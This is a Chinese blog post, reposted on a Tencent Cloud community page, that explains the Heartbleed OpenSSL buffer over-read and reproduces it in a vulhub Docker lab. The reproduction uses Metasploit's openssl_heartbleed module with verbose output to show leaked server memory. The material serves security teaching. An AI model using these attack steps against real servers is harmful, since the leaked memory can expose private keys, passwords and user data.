前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >心脏出血(Heartbleed)漏洞浅析、复现

心脏出血(Heartbleed)漏洞浅析、复现

作者头像
全栈程序员站长
发布2022-09-13 13:04:17
2.9K0
发布2022-09-13 13:04:17
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

一、漏洞介绍 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。 Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。 二、漏洞复现 靶机:centos7 192.168.81.136 攻击机:kali 192.168.81.135 确保两台测试机网络能通

使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下: 1、安装docker依赖包 yum install -y yum-utils device-mapper-persistent-data lvm2 2、安装docker yum install docker 3、启动docker systemctl start docker 4、下载vulhub https://github.com/vulhub/vulhub/archive/master.zip 5、找到heartbleed,并进入,输入命令docker-compose up -d运行漏洞环境

6、查看运行情况

7、打开kali,运行metaspolit

8、使用metasploit进行攻击 1)搜索相关漏洞模块儿 search Heartbleed

2)使用相关攻击模块 use auxiliary/scanner/ssl/openssl_heartbleed

3)查看需要配置的选项 Show options

4)对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip) set rhosts 192.168.81.136

5)开始攻击并查看结果,出现白框字样表示漏洞存在 Run

6)set verbose true#(设置verbose,这个设置要设置成true才能看到泄露的信息) 此设置主要是为了显示整个过程以及leak出来的数据

注意:1、关闭防火墙 2、关闭selinux

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/160550.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档